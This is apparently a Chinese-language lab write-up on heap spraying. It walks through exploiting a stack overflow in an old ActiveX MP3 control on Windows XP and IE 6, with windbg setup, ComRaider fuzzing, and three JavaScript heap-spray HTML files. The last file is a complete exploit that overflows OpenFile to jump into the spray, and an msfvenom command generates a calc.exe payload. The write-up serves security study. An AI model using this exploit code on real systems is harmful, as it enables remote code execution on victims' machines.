# Heap Spray fuzzy security 中的第八部分,主要是用一個例子講 heap spray ,不過後來放棄看教學,因為跟我的環境適性不是很高,所以主要是看 exploit-db 上的 exploit > 還好這漏洞也不複雜... ## heap spray heap spray 不是任何攻擊手法,頂多算是攻擊途中的一種小手段來對抗 ASLR 一個 x86 的程式頂多可以使用 4gb 的 virutal memory ,在沒有 ASLR 的情況下地址是固定的,漏洞利用的時候可以很明確的將地址寫死送過去,但有 ASLR 因為隨機化,所以無法 那一個簡單的作法出現了:申請一堆空間將那些可能被要到的記憶體都填滿我們的 payload ,那不管怎麼猜基本上都會命中,以比喻來說的話就是夜市套圈圈直接地上擺滿玻璃瓶,閉著眼睛都能套中 > 我覺得應該是不用擺滿 4gb 那個誇張,但基本上 size 不會太小就是了 > 常見的做法就是利用 js 中的 array 要一堆空間,放滿我們的 payload 然後猜個 0x0c0c0c0c 之類的地址(這類地址很高機率會被 allocate )然後跳過去 ## 環境 * windows xp sp3: 不知道是不是 win 7 有什麼保護的關係? * windbg: 聽說用來 debug IE 很方便,我是覺得命令很不直覺很麻煩... * IE collection: 前幾代的 IE 打包一次安裝 * rsp_mp3_ocx: 漏洞發生的 activeX * [exploit](https://www.exploit-db.com/exploits/14605) * ComRaider: fuzz activeX 的工具 ## 建立環境 ### ActiveX 因為這次比較複雜一點,所以簡單講一下怎麼建立環境: 1. 下載 IE collection 並安裝 [IE Collection](http://utilu.com/IECollection) 2. 下載 ocx: 這個 exploit 那邊有 3. 安裝 ocx: 首先將 ocx 解壓縮,會發現裡面有個名字很長且副檔名為 .ocx 的檔案,用 cli 輸入 ``` regsvr32 rspmp3ocx320sw.ocx ``` 4. 開啟 IE 6: 這邊教學是寫 IE 7 但 exploit 是 IE 6 ,我的 IE 7 執行不了 exploit ,我猜是教學寫錯了 5. 開啟 IE 中的 activeX 選項: 自己 google 搜尋 IE activeX 選項開啟 基本上環境安裝作到這邊 ### Windbg symbol 設定: windbg 沒有 symbol 一樣可以 debug ,但會變的十分難用,所以講一下簡單的 windbg symbol path setting: 1. Attach process 2. Windbg file -> symbol file path -> input: `srv*C:\localsymbol*https://msdl.microsoft.com/download/symbols` > C:\localsymbol 是我自己建立的資料夾,基本上爽怎麼建就怎麼寫 > ## 漏洞利用 漏洞必須用 html 裡面包 js : ```htmlmixed <html> <body> <script language='javascript'> size = 0x3e8 //1000 bytes Nop = ''; // nop slide shellcode = unescape('.....'); n = unescape('%u9090%u9090'); for(i = 0;i < size;i++) Nop += n; // [Nop......][shellcode] // size - sc.length Nop = Nop.substring(0, size - shellcode.length); memory = new Array(); for(int i = 0;i < 50;i++) memory[i] = Nop + shellcode; alert('done!'); </script> </body> </html> ``` 這邊的 payload 都是用 unescape() 這樣出來的 string 才不會是 unicode 上面大致上就是透過 [Nop....................][shellcode] 的 layout 填 memory 這邊可以透過 windbg 觀察一下,幾個常用的指令: 1. attach 2. continue: `g` 3. Prcoess Infomation: `!peb` 4. Heap 分配情形 `!heap -stat -h addr` 5. 字串搜尋 `s -a 0x00000000 L?7fffffff "ascii string"` 6. Interrupt: Ctrl + break 7. display memory `dd addr` 8. breakpoint: `bp addr` 9. clear breakpoint: `bc [breakpoint number]` 10. list breakpoint: `bl` 如果用字串搜尋找 shellcode ,往前幾百 bytes 應該會看到一堆 0x90 當然這個 payload 跟實際運用的比還太少,下面則是實際攻擊的 payload: ```htmlmixed= <html> <script language='javascript'> sc = unescape('...'); n = unescape('%u9090%u9090'); hz = 20 s = hz + sc.length; while(n.length < s) n += n; f = n.substring(0, s); b = n.substring(0, n.length - s); while(b.length + s < 0x40000) b = b + b + f; memory = new Array(); for(i = 0;i < 500;i++) memory[i] = b + sc; alert('done!'); </script> </html> ``` s 可以看成是容納 shellcode 的大小,而 nop 要比這大小還大(不然跳到 shellcode 的機會會遠高於 nop) f 為 nop 前 slack 個, b 為 chunk ,也就是說 nop + shellcode 會以 b 的大小為基準, line 10 就是在做這件事 設定好 nop 大小就將 b + sc 全部放到 memory[i] 裡面,透過`heap -stat -h addr` 可以發現高達 9X % 都是 7ffe0 size 的 block 再透過 `dd 0x0a0a0a0a` 可以發現已經覆蓋上 0x90909090 ,這樣大小的 heap spray ,我們只要猜個 0x0a0a0a0a 就可以隨便跳到 nop 上 **注意**: windbg 中途會因為一個 edi 和 esi 的 exception 停住,這個直接用 g continue 即可,不影響整個 exploit 流程 搞懂核心部分,接下來要針對 ocx 做 exploit 這部分首先要有 ComRaider 來做 fuzz ,懶的作其實可以直接看 exploit 流程: 1. 打開 ComRaider 2. start 3. 選擇 .ocx 檔案 4. 對 OpenFile 右鍵 5. Fuzz member 6. begin 沒意外會出現 14 個錯誤,這次的案例看第一個即可,當程式試圖用 OpenFile 打開名稱為 1044 個 A 的檔案就會 overflow 關於利用該 ocx 內的 OpenFile 好像要透過什麼 classid ,這邊我直接 copy exploit 的 Js: ```htmlmixed= <html> <object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' ></object> <script> sc = unescape('...'); n = unescape('%u9090%u9090'); hz = 20 s = hz + sc.length; while(n.length < s) n += n; f = n.substring(0, s); b = n.substring(0, n.length - s); while(b.length + s < 0x40000) b = b + b + f; memory = new Array(); for(i = 0;i < 500;i++) memory[i] = b + sc; ret = ''; for(i = 0;i <= 1000;i++) ret += unescape("%0a%0a%0a%0a"); target.OpenFile(ret) </script> </html> ``` line 17 以一堆 0x0a0a0a0a 覆蓋 stack ,蓋到 eip 後就能直接跳到 0x0a0a0a0a 上面了 shellcode 的部分雖然 exploit-db 上有,但我想了想還是熟悉一下 msfvenom 好了 `msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' --format js_le` 因為不會被截斷的關係,這次不用 -b 來規避 bad character ,而 format 直接採用 js little endian 的方式輸出,等等就直接 copy 過去即可 弄好後,用 IE 6 打開 x.html 會先跳出 windows 問要不要執行 activeX ,確定後就會彈出 calc.exe > 看了別人的文章,發現幾個細節: > 1. js 基本上會用自己的 heap 但 unescape 字串會用 default heap > 2. js 的 unescape 字串實際上是一個 BSTC 結構 > 3. heap spray 不會真的噴滿 4gb ,噴個 200 mb 就差不多了